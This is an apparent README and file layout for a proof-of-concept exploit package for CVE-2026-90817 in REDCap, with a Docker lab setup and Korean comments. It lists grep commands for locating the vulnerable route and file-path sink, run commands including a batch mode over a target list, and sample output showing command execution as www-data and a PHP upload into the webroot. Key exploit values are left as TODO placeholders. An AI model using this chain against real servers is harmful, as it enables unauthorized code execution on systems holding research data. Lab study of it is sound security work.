CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (단일 대상, 허용 목록 보호)
├── docker-compose.yml       # MySQL + PHP-Apache 랩 스택
├── redcap-init/
│   ├── database.php         # 랩용 REDCap DB 구성
│   └── php.ini              # 랩용 PHP 설정
├── redcap-src/              # <-- 여기에 REDCap 소스를 추출하세요 (직접 제공)
├── targets.txt              # 허가된 대상: 한 줄에 하나의 호스트
├── payload.txt              # 업로드 모드용 샘플 파일
├── requirements.txt         # Python 종속성
└── poc_results.txt          # PoC 실행 후 생성됨

mkdir -p redcap-src
# redcap.zip 내용을 redcap-src/에 추출하세요
# 디렉터리에는 index.php, redcap_vX.X.X/ 등이 포함되어야 합니다.

docker compose up -d

http://localhost:8080

http://localhost:8080/surveys/?s=ABC123XYZ

VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # 설문 패스스루를 통한 컨트롤러 경로
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # 파일 경로/스트림 매개변수 이름
WEBROOT_PATH = "/var/www/html/redcap/"       # 컨테이너 내부의 웹루트
UPLOADER_NAME = "x.php"                      # PHP 업로더 파일 이름

grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

pip install -r requirements.txt

# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------